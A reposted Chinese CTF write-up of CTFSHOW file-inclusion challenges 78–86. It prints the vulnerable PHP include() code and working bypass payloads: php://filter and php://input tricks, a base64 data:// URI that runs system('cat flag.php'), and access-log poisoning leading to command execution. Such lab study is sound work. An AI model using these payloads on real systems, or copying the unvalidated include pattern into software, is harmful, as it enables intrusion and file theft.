[CTF]CTFSHOW文件包含练习笔记
                                                            生活随笔
收集整理的這篇文章主要介紹了
                                [CTF]CTFSHOW文件包含练习笔记
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.                        
                                前言
1.什么是文件包含?
通過PHP函數引入文件時,傳入的文件名沒有經過合理的驗證,從而操作了預想之外的文件,就可能導致意 外的文件泄漏甚至惡意代碼注入。2.文件包含的要求是什么?
alow_url_fopen=On(默認為On) 規定是否允許從遠程服務器或者網站檢索數據 allow_url_include=On(php5.2之后默認為Off) 規定是否允許include/require遠程文件3.通過什么觸發?
 通過php函數例如include,require等等
 include只生成警告但是會繼續執行
 require生成警告但是停止執行
include包含txt也會把里面的內容當做php代碼來執行。
78
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:10:14 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 11:12:38 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];include($file); }else{highlight_file(__FILE__); }偽協議隨意操作?file=php://filter/read=convert.base64-encode/resource=flag.php
 當然這是知道flag在哪的時候,可以先?file=php://input
 然后post傳php代碼就可以直接執行,但是最好是用bp來做
 先`<?php system("ls");?>.
 再cat flag.php即可
79
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:10:14 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 11:12:38 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);include($file); }else{highlight_file(__FILE__); }過濾了php
 用data來讀
 ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
80、81
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 11:26:29 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);include($file); }else{highlight_file(__FILE__); }data也過濾了,用日志包含試試,可以包含我們自己的文件,先發個請求
 
 然后file=/var/log/nginx/access.log
 然后ls cat fl0g.php
82-86
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 19:34:45 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file); }else{highlight_file(__FILE__); }句號沒了,日志包含不了,可以利用session.upload_progress進行文件包含,然后條件競爭,rce。腳本就不放了,網上很多
總結
以上是生活随笔為你收集整理的[CTF]CTFSHOW文件包含练习笔记的全部內容,希望文章能夠幫你解決所遇到的問題。
                            
                        - 上一篇: c语言recy未定义标识符,C语言课程设
 - 下一篇: DDOS攻击分析